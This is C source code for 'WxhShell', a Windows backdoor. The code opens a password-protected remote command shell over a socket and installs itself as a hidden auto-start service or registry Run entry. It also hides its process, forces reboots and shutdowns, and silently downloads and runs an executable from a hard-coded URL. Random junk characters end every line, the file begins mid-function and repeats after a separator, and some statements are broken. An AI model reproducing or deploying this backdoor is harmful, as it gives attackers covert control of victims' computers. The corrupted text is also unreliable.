    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jn:GA@[I  
    if(Boot(SHUTDOWN)) a+a%}76N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >A'!T'"~  
    else { m1$P3tZPn  
    closesocket(wsh); ]kplb0`  
    ExitThread(0); 4;c_%=cU  
    } S5pP"&I[  
    break; 85@6uBh  
    } 8DS5<  
  // 获取shell knK=ENf;e  
  case 's': { ;'18  
    CmdShell(wsh); 1\608~ZH  
    closesocket(wsh); vVN[bD<  
    ExitThread(0); "6NNId|Y  
    break; M"$RtS|h  
  } `SS~=~WY  
  // 退出 I{g2q B$6  
  case 'x': { ?e_}X3{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R?9Plzt5  
    CloseIt(wsh); QsF<=b~  
    break; \FY De  
    } XOU-8;d  
  // 离开 x#gmliF  
  case 'q': { AO7qs:+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S~(VcC$K  
    closesocket(wsh); -JO46 #m  
    WSACleanup(); . ;@) 5"  
    exit(1); U#1yl6e\I  
    break; &lfF!   
        } Pymh^i  
  } k#r7&Y  
  } Y)5uK:)^  
rnBeL _8C  
  // 提示信息 4a\+o]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]jY)M<:J4  
} n]{}C.C=  
  } |b;M5w?  
6C51:XQO  
  return; oD}FJvV  
} WT {Cjn  
=$zr t  
// shell模块句柄 A`/7>'k/q[  
int CmdShell(SOCKET sock) BMj&*p8R  
{ ]<_!@J6k  
STARTUPINFO si; ;WAu]C|  
ZeroMemory(&si,sizeof(si)); _ktSTzH0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?d#(ian  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?'#;Y"RT  
PROCESS_INFORMATION ProcessInfo; (X7yNIPfA  
char cmdline[]="cmd"; HY|SLk/E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [[DFEvOEh  
  return 0; 3@ukkO)   
} 5'Ay@FJ:  
qlT:9*&g  
// 自身启动模式 fU~y481 A  
int StartFromService(void) NGQIoKC  
{ ]{U*+K%,J  
typedef struct 6)<oO(  
{ -Izg&u &  
  DWORD ExitStatus; jW$f(qAbm  
  DWORD PebBaseAddress; n$0)gKN7  
  DWORD AffinityMask; z'K7J'(R  
  DWORD BasePriority; G}xBYc0b  
  ULONG UniqueProcessId; N)y;owgo  
  ULONG InheritedFromUniqueProcessId; xs`gN  
}   PROCESS_BASIC_INFORMATION; %7wzGtM]ps  
k#+^=F^)I  
PROCNTQSIP NtQueryInformationProcess; cCKda3v!O  
R#bV/7Ol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B=/=U7T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &>4$ [m>n  
9U1!"/F  
  HANDLE             hProcess; g#3x)97Z  
  PROCESS_BASIC_INFORMATION pbi; (qONeLf%  
os ud  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i1&noRGl  
  if(NULL == hInst ) return 0;  D.x3@+  
CMjPp`rA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y tj>U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ] r+I D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2xBGs9_Y  
JJOs L!@  
  if (!NtQueryInformationProcess) return 0; 2-2LmxLG  
^n5QK HD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vjWgR9 4/{  
  if(!hProcess) return 0; / ^M3-5@Q  
XxQ2g&USk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .shI% 'V  
Ds5&5&af  
  CloseHandle(hProcess); ^o<Nz8  
F+^[8zK^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a2)*tbM 9\  
if(hProcess==NULL) return 0; t$D[,$G9  
]>!_OCe&  
HMODULE hMod; V0B4<TTAo~  
char procName[255]; T js{ )r9  
unsigned long cbNeeded; d-&dA_ ?  
o%Q'<0d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cwU6}*_zn  
p)] ^>-L  
  CloseHandle(hProcess); [o6<aE-  
uV\#J{'*  
if(strstr(procName,"services")) return 1; // 以服务启动 3VgH* vAU}  
I`lH6hHp  
  return 0; // 注册表启动 ~%q e,  
} Jq@LZ2^  
P9~kN|  
// 主模块 3CL:VwoW  
int StartWxhshell(LPSTR lpCmdLine) RS=7W._W  
{ fP*C*4#X  
  SOCKET wsl; KDzIarC  
BOOL val=TRUE; 3p#^#1/_  
  int port=0; lsxii-#O  
  struct sockaddr_in door; j}Mpc;XOc  
M/ \~  
  if(wscfg.ws_autoins) Install(); BNLall  
SK2pOZN  
port=atoi(lpCmdLine); v3]M;Y\  
N#qoKY(#  
if(port<=0) port=wscfg.ws_port; "lMWSCas  
#jR?C9&!(  
  WSADATA data; 9$t@Gmn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wIPDeC4  
,peFNpi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0(.C f.B~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); of<OOh%3  
  door.sin_family = AF_INET; DvKMb-*S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C u5 - w  
  door.sin_port = htons(port); 7k3\_BHyb\  
A]slssE+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N* QI>kzU  
closesocket(wsl); #`EMK   
return 1; L>*|T[~  
} ;!Mg,jlQ  
 yw^, @'  
  if(listen(wsl,2) == INVALID_SOCKET) { _z< q9:  
closesocket(wsl); Cr"hu;  
return 1; <]J5AdJ  
} [:Y^0[2  
  Wxhshell(wsl); {rr\hl-$  
  WSACleanup(); E_#&L({|@  
q9Wtu7/  
return 0; m{" zFD/  
fe,CY5B{  
} H$HhB8z3  
!ym5' h  
// 以NT服务方式启动 ng\S%nA&J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U$%w"k7^(  
{ B.b)YE '  
DWORD   status = 0; $NSYQF%aO  
  DWORD   specificError = 0xfffffff; O5"80z38[  
VzNH%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r,\(Y@I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *+ayC{!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nfR5W~%*:  
  serviceStatus.dwWin32ExitCode     = 0; PI?[  
  serviceStatus.dwServiceSpecificExitCode = 0; 0J B"@U&-  
  serviceStatus.dwCheckPoint       = 0; v\Gu  
  serviceStatus.dwWaitHint       = 0; QUO?q+  
epePx0N%x$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :2+:(^l  
  if (hServiceStatusHandle==0) return; owB)+  
pQ JZE7S  
status = GetLastError(); g.qp _O  
  if (status!=NO_ERROR) hHQt4 r'd  
{ #=c%:{O{4R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \qPrY.-  
    serviceStatus.dwCheckPoint       = 0; e!y t<[ph  
    serviceStatus.dwWaitHint       = 0; 0Oq1ay^  
    serviceStatus.dwWin32ExitCode     = status; mNzZ/*n:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]y/:#^M+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %r!-*p<i|  
    return; RdjUw#\33b  
  } ) eV]M~K:  
F ry5v?22  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  +yk>jx  
  serviceStatus.dwCheckPoint       = 0; bT |FJ\aC  
  serviceStatus.dwWaitHint       = 0; i+6/ g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); USY^ [@o[f  
} `3Y+:!q  
Ex{]<6UAu  
// 处理NT服务事件,比如:启动、停止 K>U &jH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (G Y`O  
{ /nNHI34  
switch(fdwControl) 4ai3@f5  
{ G9TUU.T  
case SERVICE_CONTROL_STOP:  K!j2AP3  
  serviceStatus.dwWin32ExitCode = 0; W&nVVV8s@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G}x^PJJt  
  serviceStatus.dwCheckPoint   = 0; 7Udr~ 0_)  
  serviceStatus.dwWaitHint     = 0; g|Cnj  
  { y[# U/2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z~ (QV0}  
  } ~EymD *  
  return; =6hf'lP  
case SERVICE_CONTROL_PAUSE: /$KW$NH4z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P^z)]K#sw  
  break; 4-AmzU  
case SERVICE_CONTROL_CONTINUE: Qoc-ZC"<6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TqC"lO>:Q  
  break; p}\!"&,^m  
case SERVICE_CONTROL_INTERROGATE: !!AutkEg>  
  break; (<t)5?@%  
}; f#?R!pR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^"I!+Teb  
} o z QL2  
)DW;Gc  
// 标准应用程序主函数 S!uyplYKF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]`x~v4JU  
{ _XN sDW4|  
E;SF f  
// 获取操作系统版本 ;C3](  
OsIsNt=GetOsVer(); mi+I)b=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [F e5a  
vKxwv YDe  
  // 从命令行安装 GauIe0qV  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Qnn  
BQ(`MM@  
  // 下载执行文件 v "07H  
if(wscfg.ws_downexe) { #F kdcY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y}8j_r  
  WinExec(wscfg.ws_filenam,SW_HIDE); aO{k-44y  
} 'k hJZ:  
L3S,*LnA  
if(!OsIsNt) { e |!i1e!  
// 如果时win9x,隐藏进程并且设置为注册表启动 vU _#(jZ  
HideProc(); b=sc2 )3?  
StartWxhshell(lpCmdLine); .Q7z<Q  
} o Vs&r?\Z  
else hhpH)Bi=  
  if(StartFromService()) eG<32$I  
  // 以服务方式启动 i4l?q#X  
  StartServiceCtrlDispatcher(DispatchTable); 6w' ^,V  
else z;LntQZp-  
  // 普通方式启动 4IVCTz[  
  StartWxhshell(lpCmdLine); N9hBGa$  
D n^RZLRhy  
return 0; 9 HuE'(wQ  
} MQAb8 K:e  
Ood&cP'c  
^#Shs^#  
tkA '_dcIC  
=========================================== cP-6O42  
VHy$\5oYg  
w%htY.-  
%',. K)IR  
$?7}4u,  
u(P D+Gz  
" N. uw2Y%  
B<W{kEY  
#include <stdio.h> 2`x[y?Tn  
#include <string.h> TB9ukLG^<<  
#include <windows.h> NVQ IRQ.  
#include <winsock2.h> r__uPyIMG/  
#include <winsvc.h> =2< >dM#`  
#include <urlmon.h> 75a3H`  
&N,c:dNe  
#pragma comment (lib, "Ws2_32.lib") ,+f'%)s_x  
#pragma comment (lib, "urlmon.lib") qT(j%F  
t6j|q nfw  
#define MAX_USER   100 // 最大客户端连接数 \'shnzs  
#define BUF_SOCK   200 // sock buffer B>Mk "WjQ  
#define KEY_BUFF   255 // 输入 buffer ZT!DTb B  
l =#uy  
#define REBOOT     0   // 重启 A@GyKx%x$  
#define SHUTDOWN   1   // 关机 `6'fX[j5  
^;M!u8[  
#define DEF_PORT   5000 // 监听端口 i-$]Tg  
60*=Bs%b  
#define REG_LEN     16   // 注册表键长度 l%U{Unwu  
#define SVC_LEN     80   // NT服务名长度 ) "'J]6  
z@dHXj )  
// 从dll定义API hC,EO&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i0hF9M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xGN&RjPk\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X ZfT;!wF&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zUWu5JI  
JPRl/P$  
// wxhshell配置信息 -(P"+g3T  
struct WSCFG { HI55):Eb  
  int ws_port;         // 监听端口 EP*"=_  
  char ws_passstr[REG_LEN]; // 口令 gW RSS=8%  
  int ws_autoins;       // 安装标记, 1=yes 0=no >Qr(#Bt)  
  char ws_regname[REG_LEN]; // 注册表键名 (Zp'|hx8o  
  char ws_svcname[REG_LEN]; // 服务名 Fq:BRgCE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yy@g=<okt\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M,zUg_ @  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d(<[$ 3.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .z+ [3Oj_E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @#;2P'KL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t ?rUbN  
Y}QtgZEt  
}; a=Pl3Uo  
du  Pzt  
// default Wxhshell configuration U2seD5I  
struct WSCFG wscfg={DEF_PORT, xwq {0jY  
    "xuhuanlingzhe", h?jKq2`  
    1, ar }F^8Ku  
    "Wxhshell", +TL5yuA  
    "Wxhshell", (U4]d`  
            "WxhShell Service", ~m'PAC"Q$  
    "Wrsky Windows CmdShell Service", dL!PpLR$2  
    "Please Input Your Password: ", u.43b8!  
  1, :T.j;~  
  "http://www.wrsky.com/wxhshell.exe", e2~&I`ct  
  "Wxhshell.exe" N2WQrTA:S+  
    }; "6o}g.  
<;G.(CK@n  
// 消息定义模块 [5yLg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w,n&K6<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; edD19A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bkTk:-L5:  
char *msg_ws_ext="\n\rExit."; [7 oU =  
char *msg_ws_end="\n\rQuit."; ]hRCB=G  
char *msg_ws_boot="\n\rReboot..."; qXcHf6  
char *msg_ws_poff="\n\rShutdown..."; J sde+G,N  
char *msg_ws_down="\n\rSave to "; -pvF~P?8U  
:+06M@  
char *msg_ws_err="\n\rErr!"; [f 4Nq \i  
char *msg_ws_ok="\n\rOK!"; 7S|nn|\Kp  
' GcN9D  
char ExeFile[MAX_PATH]; 6B'd]Fe  
int nUser = 0; ,t2Mur  
HANDLE handles[MAX_USER]; yy8h8{=g  
int OsIsNt; ei%L[>N  
Pv@Lx+ k  
SERVICE_STATUS       serviceStatus; WKek^TW4HE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >UlAae44  
$}+t|`*q8]  
// 函数声明  UDl[  
int Install(void); ,ELbm  
int Uninstall(void); \iVb;7r)9:  
int DownloadFile(char *sURL, SOCKET wsh); vr/*z euA  
int Boot(int flag); O1[`2kj^HB  
void HideProc(void); ai0am  
int GetOsVer(void); Q*&k6A"jx  
int Wxhshell(SOCKET wsl); 3 vr T`  
void TalkWithClient(void *cs); /r2*le (H  
int CmdShell(SOCKET sock);  $I}7EI  
int StartFromService(void); `3GYV|LeQ  
int StartWxhshell(LPSTR lpCmdLine); 3HCH-?U5  
l1 Nr5PT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;tg9$P<85  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?o$ hlX  
J%r$jpd'  
// 数据结构和表定义 (@X].oM^y  
SERVICE_TABLE_ENTRY DispatchTable[] = TuR.'kE@  
{ `,~8(rIM  
{wscfg.ws_svcname, NTServiceMain}, "0Ca;hSLM2  
{NULL, NULL} q.I  
}; @,kR<1  
)/Z% HBn  
// 自我安装 PLoD^3uG)  
int Install(void) ]fiAV|'^  
{ jxeZ,w o  
  char svExeFile[MAX_PATH]; *e/8uFX  
  HKEY key; |&wwH&<[z  
  strcpy(svExeFile,ExeFile); {_[\k^98>  
'Sk-L 5  
// 如果是win9x系统,修改注册表设为自启动 z"D'rHxy  
if(!OsIsNt) { Lgr(j60s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;fi H=_{us  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9IfeaoZZ4q  
  RegCloseKey(key); %OT} r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #z$g1\v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cg#@JuwHa  
  RegCloseKey(key); T'8d|$X  
  return 0; L JW0UF|  
    } s[2>r#M  
  } MbbKo-7F$  
} ` b$u w  
else { >/J!:Htk+K  
0*y|k1  
// 如果是NT以上系统,安装为系统服务 _|1m]2'9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wy:xiP  
if (schSCManager!=0) Le,e,#hiY  
{ 6Z ,GD  
  SC_HANDLE schService = CreateService ?R#?=<VkG  
  ( ^p7g[E&  
  schSCManager, ^t0Yh%V7  
  wscfg.ws_svcname, pXPLTGY<R+  
  wscfg.ws_svcdisp, SobOUly5{  
  SERVICE_ALL_ACCESS, ;;f&aujSHD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +0DPhc  
  SERVICE_AUTO_START, @T 5dPmn  
  SERVICE_ERROR_NORMAL, o%j[]P@4G  
  svExeFile, E'KKR1t  
  NULL, Q95`GuI@  
  NULL, i (qPD_  
  NULL, caH!(V}6  
  NULL, }[FP"#  
  NULL 6v1F. u  
  ); QY7Thnp1  
  if (schService!=0) lX)ZQY:=:  
  { d$ f3 Cre  
  CloseServiceHandle(schService); aWg*f*2f  
  CloseServiceHandle(schSCManager); Z4VNm1qs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); md S`nhb  
  strcat(svExeFile,wscfg.ws_svcname); <0sT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GI. =\s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B QxU~s  
  RegCloseKey(key); .=`r?#0  
  return 0; 0D==0n  
    } v$JhC'  
  } G _1`NyI  
  CloseServiceHandle(schSCManager); hf('4^  
} |i~Ab!*8n  
} P70]Ju  
.S{>?2  
return 1; oj$^87KX  
} A(2!.Y 2?*  
3q}fDM(@J  
// 自我卸载 rb_FBa%  
int Uninstall(void) zt3y5'Nk  
{ 1w~@'ZyU  
  HKEY key; 7c8A|E0\mF  
  mN^/  
if(!OsIsNt) { '.$va<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hO?RsYJ.F  
  RegDeleteValue(key,wscfg.ws_regname); f%gdFtJ &  
  RegCloseKey(key); q'9}Hz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'h*^;3@*  
  RegDeleteValue(key,wscfg.ws_regname); .5AyB9a%&  
  RegCloseKey(key); J{w[vcf  
  return 0; xtq='s8e  
  } Ec4+wRWk85  
} P/?'ea  
} c|hT\1XR,  
else { )1PjI9M  
Et0[HotO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4z*An}ol]  
if (schSCManager!=0) \ )'`F; P  
{ #]vs*Sz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ex`!C]sQ  
  if (schService!=0) ]>_Ie?L)<  
  { v<u`wnt  
  if(DeleteService(schService)!=0) { |,)=-21&;  
  CloseServiceHandle(schService); 9V/:1I0?&0  
  CloseServiceHandle(schSCManager); \2U FJ  
  return 0; _*1{fvv0{  
  } I[g;p8jr  
  CloseServiceHandle(schService); ,z@"pI b  
  } wR@"]WkR=  
  CloseServiceHandle(schSCManager); tgpg  
} %HWebZ-yY  
} 4Rv.m* ^B  
drkY~!a  
return 1; mSFh*FG  
} 9L+g;Js$4  
sgxD5xj}4  
// 从指定url下载文件 zQ>|`0&8   
int DownloadFile(char *sURL, SOCKET wsh) r!C#PiT}I  
{  HQ0fY  
  HRESULT hr; 2Y-NxW^]  
char seps[]= "/"; d) i64"  
char *token; }bA@QEJ  
char *file; %j4AX  
char myURL[MAX_PATH]; E(p*B8d  
char myFILE[MAX_PATH]; qh)10*FB  
s k>E(Myo  
strcpy(myURL,sURL); +[_mSt  
  token=strtok(myURL,seps); kaG@T,pH(  
  while(token!=NULL) &CcUr#|  
  { s%OPoRE  
    file=token; D.;iz>_}Y  
  token=strtok(NULL,seps); VX{9g#y$j  
  } 1RM@~I$0  
Smc=-M}  
GetCurrentDirectory(MAX_PATH,myFILE); c7R<5f  
strcat(myFILE, "\\"); zu52]$Vj  
strcat(myFILE, file); H5J1j*P<d  
  send(wsh,myFILE,strlen(myFILE),0); YQ _]Jv k  
send(wsh,"...",3,0); -+)06BqF}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B3 NDx+%m  
  if(hr==S_OK) +J;T= p  
return 0; [5T{`&  
else e0 &x?U*/  
return 1; Wm#F~<$  
6-6ha7]s  
} *kM^l!<g  
<>?7veN92  
// 系统电源模块 |%~Zo:Q<$>  
int Boot(int flag) l'm\ *=3  
{ Z^_-LX:%  
  HANDLE hToken; \:Vm7Zg  
  TOKEN_PRIVILEGES tkp; M4rK  
q1_iV.G<  
  if(OsIsNt) { U5!~ @XjG>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P+2@,?9#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mq,2S  
    tkp.PrivilegeCount = 1; 57~/QEdy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'OjsV$_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 15dbM/Gj  
if(flag==REBOOT) { 2b89th  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E Z+L'  
  return 0; LEn+0^hX  
} 2T&n6t$p  
else { f:u3fL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gF53[\w^v  
  return 0; j.O+e|kxU  
} 0E^6"nt7N  
  } chs] ,7R  
  else { UVz}"TRq.  
if(flag==REBOOT) { =+ vl+h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) viXt]0  
  return 0; H:5- S  
} d,+a}eTP'  
else { e4mAKB s!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )0UXTyw^  
  return 0; ~M Mv+d88  
} AR?1_]"=  
} a]4h5kJ';  
'fS&WVR?  
return 1; i8Xz'Sw07  
} XN %tcaY  
0T7c=5z4W  
// win9x进程隐藏模块 -)E nr6  
void HideProc(void) <!G%P4)  
{ #sHt3z)6I  
$Si|;j$?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ==]BrhZK  
  if ( hKernel != NULL ) e?yrx6  
  { LE]mguvs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sece#K2J|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HY>zgf,0  
    FreeLibrary(hKernel); ?Jy /]j5fI  
  } 9ymx;  
W\1V`\gF  
return; 2uT"LW/(H  
} ({!S!k  
1G`zwfmh~  
// 获取操作系统版本 <; P40jDL  
int GetOsVer(void) S!6 ? b5  
{ /^rJ`M[;  
  OSVERSIONINFO winfo; #Mm1yXNu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /#-zI#iK  
  GetVersionEx(&winfo); {NTMvJLm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D&-cNxh  
  return 1; a%XF"*^v  
  else 6z2WN|78  
  return 0; q .s'z}  
} L&LAh&%{2  
dBb &sA-A  
// 客户端句柄模块  P0<)E  
int Wxhshell(SOCKET wsl) H{U(Rt]K  
{ a1 v%G  
  SOCKET wsh; 'izv[{!n{  
  struct sockaddr_in client; /|LQ?n  
  DWORD myID; h\lyt(.s  
}/J<#}t  
  while(nUser<MAX_USER) GzEvp  
{ @Pb%dS  
  int nSize=sizeof(client); mV++7DY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qy7pM8~h  
  if(wsh==INVALID_SOCKET) return 1; ln*jakRrC  
6R#.AD\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PTP0 _|K  
if(handles[nUser]==0) ##5e:<c&[  
  closesocket(wsh); G}LOQ7  
else a%*W( 4=Y  
  nUser++; sa w  
  } c@|f'V4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )zAATBb4.  
Wf{&D>  
  return 0; awU&{<,=g  
} <TEDqQ  
!t!'  
// 关闭 socket mTBSntZx  
void CloseIt(SOCKET wsh) #7Jvk_r9Y  
{ DDBf89$\  
closesocket(wsh); E++3GagdiD  
nUser--; 8;y\Ln?B  
ExitThread(0); 4L<;z'   
} }ki6(_  
Oh; V%G  
// 客户端请求句柄 TR'<D9kn  
void TalkWithClient(void *cs) 5gKXe4}\/|  
{ zT+ "Z(oz,  
<[A;i  
  SOCKET wsh=(SOCKET)cs; %(A@=0r#  
  char pwd[SVC_LEN]; Ti>2N  
  char cmd[KEY_BUFF]; -GODM128 ^  
char chr[1]; ]FEsN6  
int i,j; 99*QfC  
>=K~*$&>  
  while (nUser < MAX_USER) { -GZ:}<W 6+  
zn#lFPj12  
if(wscfg.ws_passstr) { -'rb+<v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hh8U/dVk*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Q5 =  
  //ZeroMemory(pwd,KEY_BUFF); F@<^  
      i=0; "sJ@_lp  
  while(i<SVC_LEN) { }e-D&U  
ffG1QvC|M  
  // 设置超时 &UIS17cT  
  fd_set FdRead; F5 7Kr5X  
  struct timeval TimeOut; 3(3-#MD0  
  FD_ZERO(&FdRead); jhB+ ]  
  FD_SET(wsh,&FdRead); |\T!,~  
  TimeOut.tv_sec=8; v(`5exWV  
  TimeOut.tv_usec=0; }WnoI2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); chXTFLC~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UHS{X~CS e  
p+}eP|N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o+g\\5s  
  pwd=chr[0]; iJb-F*_y  
  if(chr[0]==0xd || chr[0]==0xa) { >2ny/AK|  
  pwd=0; ZN}U^9m=  
  break; bo[[<j!"I  
  } qdxDR 2]U  
  i++; %ZT I ?a  
    } ?6_U>d{  
pGP$2  
  // 如果是非法用户,关闭 socket ?P"j5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e$N1m:1*  
} I>:.fHvUC  
xcX^L84\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4%*`' o$_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CGs5`a  
,:pKNWY)Q  
while(1) { cv9-ZOxJ  
>x8~?)7z  
  ZeroMemory(cmd,KEY_BUFF); VWW(=j  
O#`y;%  
      // 自动支持客户端 telnet标准   7'RU\0QG  
  j=0; (|sqN8SbA  
  while(j<KEY_BUFF) { /vAA]n8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Vbcwv@  
  cmd[j]=chr[0]; \ mg  
  if(chr[0]==0xa || chr[0]==0xd) { @!mjjeG+1  
  cmd[j]=0; kY#sQz}8  
  break; >=YQxm}GJ  
  } b X4]/4%  
  j++; @T)>akEOt  
    } [='<K  
F32U;fp3  
  // 下载文件 LsaRw-4.c  
  if(strstr(cmd,"http://")) { 'J:xTp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?<~P)aVVj  
  if(DownloadFile(cmd,wsh)) wj9 Hh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_b_)/  
  else [Y8ot-6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /OeOL3Y  
  } tx]!|x" F  
  else { M [6WcH0/T  
